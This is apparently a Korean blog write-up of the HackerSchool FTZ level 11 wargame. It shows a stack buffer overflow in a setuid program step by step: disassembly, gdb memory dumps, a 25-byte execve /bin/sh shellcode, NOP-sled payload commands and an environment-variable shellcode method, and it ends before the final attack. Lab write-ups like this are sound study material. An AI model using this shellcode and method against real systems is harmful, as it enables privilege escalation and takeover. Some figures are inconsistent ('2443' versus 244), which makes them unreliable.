ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 11
    Wargame/HackerSchool FTZ 2019. 1. 13. 21:38

    → 힌트 정보 열람.




    → setreuid 함수 및 strcpy 함수를 볼 수 있다. BOF 문제같지만, strcpy 함수의 인자를 보면, argv[1]을 str로 넣고, print(str)을 한다. 포맷스트링 문제도 된다. 


    → BOF 문제로 먼저 접근해, tmp로 복사한 후, gdb로 디버깅한다.


    0x08048470 <main+0>:    push   ebp

    0x08048471 <main+1>:    mov    ebp,esp

    0x08048473 <main+3>:    sub    esp,0x108

    0x08048479 <main+9>:    sub    esp,0x8

    0x0804847c <main+12>:    push   0xc14

    0x08048481 <main+17>:    push   0xc14

    0x08048486 <main+22>:    call   0x804834c <setreuid>

    0x0804848b <main+27>:    add    esp,0x10

    0x0804848e <main+30>:    sub    esp,0x8

    0x08048491 <main+33>:    mov    eax,DWORD PTR [ebp+12]

    0x08048494 <main+36>:    add    eax,0x4

    0x08048497 <main+39>:    push   DWORD PTR [eax]

    0x08048499 <main+41>:    lea    eax,[ebp-264]

    0x0804849f <main+47>:    push   eax

    0x080484a0 <main+48>:    call   0x804835c <strcpy>

    0x080484a5 <main+53>:    add    esp,0x10

    0x080484a8 <main+56>:    sub    esp,0xc

    0x080484ab <main+59>:    lea    eax,[ebp-264]

    0x080484b1 <main+65>:    push   eax

    0x080484b2 <main+66>:    call   0x804833c <printf>

    0x080484b7 <main+71>:    add    esp,0x10

    0x080484ba <main+74>:    leave  

    0x080484bb <main+75>:    ret    

    0x080484bc <main+76>:    nop    

    0x080484bd <main+77>:    nop    

    0x080484be <main+78>:    nop    

    0x080484bf <main+79>:    nop



    → main+3에 0x108만큼 할당한다. 0x108은 10진수로 264이고, 힌트 코드를 보면 str[256]이다. 따라서, 8바이트 정도 더미코드가 추가된 것으로 추측 가능하다. main +9에서 8바이트 할당하는 것은 setreuid 함수 호출에 필요한 파라미터 2개를 위한 것이다. 어차피 함수가 종료된 후, 스택이 다시 정리되므로 무시하고 strcpy 함수 호출 전을 살펴봐야 한다.


    → 예상되는 메모리 맵 구조는 아래와 같다.



    → bp를 설정하고, 넉넉히 A를 280바이트 정도 던져본다.


    (gdb) b main

    Breakpoint 1 at 0x8048479

    (gdb) r `python -c 'print "A"*280'`

    Starting program: /home/level11/tmp/attackme `python -c 'print "A"*280'`

    Breakpoint 1, 0x08048479 in main ()

    (gdb) b *main+48

    Breakpoint 2 at 0x80484a0

    (gdb) c

    Continuing.

    Breakpoint 2, 0x080484a0 in main ()

    (gdb) x/100x $esp

    0xbffff120:    0xbffff130    0xbffffb18    0xbffff150    0x00000001

    0xbffff130:    0x40016380    0x00000000    0x00000000    0x078e530f

    0xbffff140:    0xbffff1e0    0x40015a38    0x0029656e    0x00000000

    0xbffff150:    0x4200b894    0x400160b0    0x00000000    0x00000000

    0xbffff160:    0x00000000    0x00000000    0x00000000    0x4000807f

    0xbffff170:    0x4001582c    0x00001f1f    0xbffff1a0    0xbffff1cc

    0xbffff180:    0x4000be03    0x4001624c    0x00000000    0x0177ff8e

    0xbffff190:    0x4000807f    0x4001582c    0x0000005b    0x40015a38

    0xbffff1a0:    0xbffff1f0    0x4000be03    0x40015bd4    0x40016380

    0xbffff1b0:    0x00000001    0x00000000    0x4200dba3    0x420069e4

    0xbffff1c0:    0x42130a14    0xbffffafd    0xbffff284    0xbffff204

    0xbffff1d0:    0x4000bcc0    0x08049620    0x00000001    0x0804824b

    0xbffff1e0:    0x4210fd3c    0x42130a14    0xbffff208    0x4210fdf6

    0xbffff1f0:    0x08049538    0x0804963c    0x00000000    0x00000000

    0xbffff200:    0x4210fdc0    0x42130a14    0xbffff228    0x08048451

    0xbffff210:    0x08049538    0x0804963c    0x4001582c    0x0804839e

    0xbffff220:    0x080482e4    0x42130a14    0xbffff238    0x080482fa

    0xbffff230:    0x4200af84    0x42130a14    0xbffff258    0x42015574

    0xbffff240:    0x00000002    0xbffff284    0xbffff290    0x4001582c

    0xbffff250:    0x00000002    0x08048370    0x00000000    0x08048391

    0xbffff260:    0x08048470    0x00000002    0xbffff284    0x080482e4

    0xbffff270:    0x08048500    0x4000c660    0xbffff27c    0x00000000

    0xbffff280:    0x00000002    0xbffffafd    0xbffffb18    0x00000000

    0xbffff290:    0xbffffc31    0xbffffc4f    0xbffffc5f    0xbffffc6a

    0xbffff2a0:    0xbffffc78    0xbffffc9a    0xbffffcad    0xbffffcba

    (gdb) ni

    0x080484a5 in main ()

    (gdb) x/100x $esp

    0xbffff120:    0xbffff130    0xbffffb18    0xbffff150    0x00000001

    0xbffff130:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff140:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff150:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff160:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff170:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff180:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff190:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff1a0:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff1b0:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff1c0:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff1d0:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff1e0:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff1f0:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff200:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff210:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff220:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff230:    0x41414141    0x41414141    0x41414141    0x41414141

    0xbffff240:    0x41414141    0x41414141    0xbffff200    0x4001582c

    0xbffff250:    0x00000002    0x08048370    0x00000000    0x08048391

    0xbffff260:    0x08048470    0x00000002    0xbffff284    0x080482e4

    0xbffff270:    0x08048500    0x4000c660    0xbffff27c    0x00000000

    0xbffff280:    0x00000002    0xbffffafd    0xbffffb18    0x00000000

    0xbffff290:    0xbffffc31    0xbffffc4f    0xbffffc5f    0xbffffc6a

    0xbffff2a0:    0xbffffc78    0xbffffc9a    0xbffffcad    0xbffffcba



    → 실제 str의 시작주소는 0xbffff130이고, 더미는 0xbfff230이다. 그리고 sfp는 0xbffff238, ret는 0xbffff23c 로 추측된다. 해당 주소에 맞춰서 페이로드를 만들면 아래와 같다.


    r `python -c 'print "\x90"*256+"A"*8+"B"*4+"C"*4'` 


    → 실제 쉘 코드를 입혀야 한다. 쉘 코드는 아래와 같다. (25바이트)


    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


    → ret를 제외한 거리가 268-25=243 이다. 그러면 nop 244개 채우고, 쉘 코드 그리고 ret 주소를 nop 로 올리면된다. 아래와 같이 실행을 시도했다.


    ./attackme `python -c 'print "\x90"*2443+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xe0\xff\xbf"'`



    → 실제로 수행했더니, 세그먼테이션 폴트가 발생했다. 그래서, gdb로 디버깅해본 결과, 메모리 주소가 달라져있었다. nop로 올리는 메모리 주소가 달라져서 RET에 입력할 주소가 고정적이지 않았다.


    → 따라서 에그쉘을 사용해야 한다. 환경 변수의 주소는 OS상 항상 올라와있는 메모리로 변하지 않는다. 아래와 같이 환경 변수에 쉘 코드를 삽입한다.


    export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


    → 환경 변수의 주소는 아래 코드를 컴파일해서, 실행하면 알 수 있다.


    #include <stdio.h>

    int main()

    {

            printf("%p\n", getenv("SHELLCODE"));

            return 0;

    }


    → 환경 변수의 주소가 0xbffffc1b로 확인되고 아래와 같이 재공격을 수행했다.


    'Wargame > HackerSchool FTZ' 카테고리의 다른 글

    lvl 13  (0) 2019.01.17
    lvl 12  (0) 2019.01.15
    lvl 10  (0) 2019.01.12
    lvl 09  (0) 2019.01.11
    lvl 08  (0) 2019.01.10

    댓글

Designed by Tistory.